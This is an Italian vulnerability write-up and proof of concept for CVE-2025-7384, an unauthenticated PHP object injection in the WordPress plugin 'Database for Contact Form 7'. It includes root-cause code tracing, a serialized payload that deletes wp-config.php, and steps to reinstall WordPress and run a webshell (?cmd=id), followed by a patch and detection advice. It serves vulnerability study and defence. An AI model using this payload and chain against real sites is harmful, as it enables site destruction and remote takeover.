
PoC di exploit e analisi della causa principale di un'iniezione di oggetti PHP critica e non autenticata in WordPress Database for Contact Form 7, che conduce a RCE tramite eliminazione arbitraria di file.
Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Critico)
CWE: CWE-502 — Deserializzazione di dati non attendibili
Requisito di autenticazione: Nessuno (non autenticato)
Impatto: Esecuzione di codice in remoto
Il plugin "Database for Contact Form 7" (slug: contact-form-entries) versione 1.4.3 e precedenti contiene una vulnerabilità di Iniezione di Oggetti PHP. Quando un amministratore WordPress visualizza un record (entry) di un modulo all'interno del pannello di amministrazione, il plugin chiama la funzione maybe_unserialize() direttamente sui dati inviati da un utente non autenticato tramite Contact Form 7, senza controllare l'elenco delle classi consentite da istanziare.
Un attaccante non ha bisogno di effettuare il login — deve solo inviare un normale modulo di contatto inserendo un oggetto PHP serializzato in un qualsiasi campo del modulo. Questi dati vengono salvati grezzi nel database. Quando un amministratore apre la visualizzazione di quell'entry, la funzione di deserializzazione istanzierà un oggetto scelto dall'attaccante, attivando metodi magici come __destruct() o __wakeup() → eseguendo comportamenti arbitrari a seconda dei gadget POP disponibili nell'ambiente WordPress.
Livello di gravità: Con un gadget POP adatto (ad esempio, una classe il cui metodo
__destruct()chiamaunlink()), un attaccante può eliminare il filewp-config.php, riportando WordPress alla schermata di installazione iniziale → reinstallando con un account amministratore controllato dall'attaccante → installando un plugin contenente una webshell → ottenendo la piena Esecuzione di Codice in Remoto (RCE) sul server.
PHP usa serialize() per convertire un oggetto in una stringa di testo strutturata, e unserialize() per ripristinare l'oggetto da quella stringa. Quando unserialize() riceve dati da una fonte non attendibile (es. input utente), un attaccante può costruire un oggetto arbitrario appartenente a qualsiasi classe attualmente caricata nella memoria PHP in quel momento.
Metodi speciali che PHP invoca automaticamente durante il ciclo di vita di un oggetto. I più importanti in questo contesto:
__wakeup() — invocato immediatamente quando un oggetto viene unserializzato__destruct() — invocato quando un oggetto viene distrutto (esce dallo scope, o la richiesta termina)__toString() — invocato quando un oggetto viene convertito in stringaUna tecnica che collega più metodi magici di classi esistenti all'interno dell'applicazione per costruire una sequenza pericolosa di comportamenti. L'attaccante non scrive nuovo codice — manipola solo le proprietà degli oggetti esistenti così che, quando i metodi magici vengono eseguiti, compiano azioni non volute dagli sviluppatori.
maybe_unserialize() in WordPressUna funzione wrapper del WordPress Core. Chiama is_serialized() per verificare se una stringa è dati serializzati — se vero, chiama unserialize() per ripristinare l'oggetto. Problema: questa funzione non passa il parametro allowed_classes (disponibile da PHP 7.0) per limitare quali classi possono essere istanziate.
Inizia cercando in tutto il codice sorgente del plugin le funzioni di deserializzazione — queste sono le funzioni più pericolose in PHP poiché possono portare a Object Injection:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

L'output rivela molteplici punti di chiamata di maybe_unserialize(), in particolare dentro includes/data.php alla riga 545 nella funzione verify_val():

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
Domanda chiave: Da dove ha origine la variabile $string? Se proviene da input utente senza filtro → questa è una vulnerabilità.
Trova dove viene invocata verify_val(). Traccia all'indietro nello stesso file data.php:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string è esattamente $v['value'] — i valori recuperati dalla tabella del database wp_vxcf_leads_detail. Questa funzione viene chiamata quando un amministratore visualizza i dettagli di un'entry del modulo.
Domanda successiva: Da dove provengono i dati dentro wp_vxcf_leads_detail? Chi li scrive?
Dal Passo 2 sappiamo che i dati vengono letti dal database. Prossima domanda: chi scrive i dati al suo interno? Cerca query INSERT dentro data.php:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

Apri il codice della funzione create_lead() (righe 85-103) per i dettagli:

Alle righe 98-99, il valore $v — che è il contenuto di un campo del modulo (es. your-message) — viene inserito direttamente nel database tramite $wpdb->insert(). Il plugin si aggancia all'evento wpcf7_before_send_mail di Contact Form 7, quindi ogni volta che un utente invia un modulo, tutti i campi vengono salvati grezzi.
Verifica aggiuntiva: il plugin usa effettivamente sanitize_text_field() e sanitize_textarea_field() prima del salvataggio, ma queste due funzioni rimuovono solo i tag HTML e i caratteri HTML speciali — un payload serializzato come O:21:"VulnerableFileHandler":2:{...} non contiene tag HTML e quindi passa attraverso completamente intatto.
A questo punto, il flusso completo è stabilito:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
Causa principale: La funzione
maybe_unserialize()adata.php:545viene chiamata su dati che hanno origine da input utente non autenticato, senza passareallowed_classes: false. Un attaccante deve semplicemente inviare un oggetto PHP serializzato attraverso il campoyour-messagedi un modulo CF7 → quando un amministratore visualizza l'entry, PHP istanzia quell'oggetto e attiva il metodo magico__destruct().
Per una prova visiva, imposta un breakpoint usando Xdebug alla riga 545 di data.php. Dopo aver iniettato il payload tramite il modulo e aver fatto visualizzare l'entry all'amministratore, il debugger si ferma esattamente su maybe_unserialize():

Pannello Variables mostra $string contenente il payload dell'attaccante:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → il payload è viaggiato da modulo → database → funzione di deserializzazione senza essere bloccatoRiga di esecuzione:
$string=maybe_unserialize($string);Call Stack mostra la sequenza di chiamate di funzione:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ Conferma il flusso esatto analizzato: l'amministratore visualizza l'entry → get_entries() → verify_val() → maybe_unserialize().
La catena di attacco è composta da 5 fasi. L'attaccante deve eseguire solo la Fase 1 (invio del modulo). Le fasi 2-5 avvengono automaticamente dopo che un amministratore visualizza l'entry.
L'attaccante invia un modulo CF7 con un oggetto PHP serializzato nel campo del messaggio.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message contiene: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail — sanitize_text_field() non blocca le stringhe serializzateL'amministratore apre la pagina Contact Form Entries → visualizza i dettagli dell'entry → il plugin chiama verify_val() → maybe_unserialize().
VulnerableFileHandler con file_path = "/var/www/html/wp-config.php" e cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")Il file wp-config.php viene eliminato → WordPress perde la connessione al database.
http://target/ → reindirizza automaticamente a /wp-admin/setup-config.php (schermata di configurazione iniziale)L'attaccante reinstalla WordPress usando credenziali del database note (o ottenute con forza bruta).
Installa un plugin contenente una webshell → esegue comandi di sistema arbitrari.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE completataAvvia il lab Docker contenente WordPress + il plugin vulnerabile:
cd CVE-2025-7384
docker-compose up --build -d
Attendi circa 40 secondi finché i log non mostrano LAB READY. Accedi a http://localhost:8181 per verificare che WordPress sia in esecuzione.
Dall'analisi del codice sorgente nella Sezione 3, sappiamo che:
data.php:545 — maybe_unserialize() sui valori dei campi del modulowp_vxcf_leads_detail — i dati provengono dal modulo CF7sanitize_text_field() — non blocca le stringhe serializzate→ Conclusione: basta inviare un oggetto PHP serializzato in qualsiasi campo del modulo CF7. Scegli your-message perché è una textarea, accetta stringhe lunghe e ha meno validazioni di formato (a differenza di your-email che richiede il formato email).
Accedi a http://localhost:8181/contact/, compila il modulo come segue:
| Campo | Valore |
|---|---|
| Your name | dung |
| Your email | [email protected] |
| Subject | test inject |
| Your message | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Spiegazione del payload:
O:21:"VulnerableFileHandler" — istanzia la classe VulnerableFileHandler (che ha __destruct() che chiama unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — la proprietà file_path punta al file di destinazione da eliminares:7:"cleanup";b:1 — la proprietà cleanup = true così __destruct() esegue unlink()Clicca Submit. Il modulo mostra un messaggio di errore di invio email (o successo) — irrilevante, poiché il plugin contact-form-entries ha già salvato tutti i dati nel database prima della consegna della mail.
Accedi a http://localhost:8181/wp-admin (admin / admin123) → nel menu a sinistra seleziona CRM Entries → clicca per visualizzare l'entry ricevuta.

Questo è il momento esatto in cui l'esecuzione raggiunge data.php:545 — il plugin recupera il valore di your-message dal database, il controllo is_serialized() restituisce true, chiama maybe_unserialize() → PHP crea l'oggetto VulnerableFileHandler → la richiesta termina, __destruct() viene eseguito → unlink("/var/www/html/wp-config.php").
Vai su http://localhost:8181/ nel browser → WordPress reindirizza alla pagina /wp-admin/setup-config.php (schermata di configurazione iniziale) → il file wp-config.php è stato eliminato con successo.

Con wp-config.php eliminato, WordPress torna allo stato non installato. Passi dell'attaccante:
Passo 1 — Reinstallare WordPress:
Accedi a http://localhost:8181/wp-admin/setup-config.php → inserisci le credenziali del database:
| Campo | Valore |
|---|---|
| Database Name | wordpress |
| Username | wpuser |
| Password | wppass |
| Database Host | db |
| Table Prefix |
Clicca Submit → Esegui l'installazione → crea un nuovo account amministratore controllato dall'attaccante.
Passo 2 — Caricare la webshell:
Accedi alla dashboard amministrativa → Plugins → Aggiungi nuovo → Carica plugin → carica il file system-health.zip (o system-monitor.zip).

Caricamento e Attivazione riusciti.
Passo 3 — Eseguire comandi (RCE):
Accedi a: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

Output: uid=33(www-data) gid=33(www-data) → Esecuzione di codice in remoto completata
Accedi a: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

Output: www-data → Esecuzione di codice in remoto completata
*User Interaction: NVD la valuta come None perché la visualizzazione delle entry dei moduli da parte di un amministratore è un comportamento previsto, non un'interazione anomala dell'utente.
Non usare maybe_unserialize() su dati forniti dall'utente. Usa json_decode() invece quando è richiesto l'archivio di dati strutturati.
Se la deserializzazione è strettamente necessaria, fornisci l'opzione allowed_classes: false (PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
Questo impedisce a PHP di istanziare qualsiasi oggetto — consentendo solo tipi scalari e array.
/^[OaCis]:\d+/ (indicatore di dati serializzati).wp_vxcf_leads_detail per entry contenenti stringhe con il formato O:XX:"ClassName": — la loro presenza indica tentativi di attaccowp-config.php abbia permessi restrittivi (440 o 400) — riducendo la probabilità di eliminazione da parte del processo del server web// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| Attributo | Valore |
|---|
| ID CVE | CVE-2025-7384 |
| Punteggio CVSS | 9.8 (Critico) |
| CWE | CWE-502 — Deserializzazione di dati non attendibili |
| Plugin interessato | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| Requisito di autenticazione | Nessuno — chiunque invii un modulo CF7 può iniettare il payload |
| Condizione di attivazione | L'amministratore visualizza l'entry iniettata nel pannello di amministrazione |
| Impatto massimo | Esecuzione di codice in remoto non autenticata |
| Versione corretta | 1.4.4+ (sostituisce unserialize con json_decode o allowed_classes: false) |
| wp_ |
| Metrica CVSS | Valore | Spiegazione |
|---|
| Attack Vector | Network | Sfruttabile su HTTP, nessun accesso fisico richiesto |
| Attack Complexity | Low | Richiede l'invio di solo 1 richiesta POST contenente il payload |
| Privileges Required | None | Nessuna autenticazione richiesta — il modulo CF7 è pubblico |
| User Interaction | None* | L'amministratore visualizza le entry durante il normale flusso di lavoro |
| Confidentiality | High | La RCE consente di leggere qualsiasi file sul server |
| Integrity | High | La RCE consente di scrivere/modificare qualsiasi file |
| Availability | High | L'eliminazione di wp-config.php manda in crash l'intero sito web |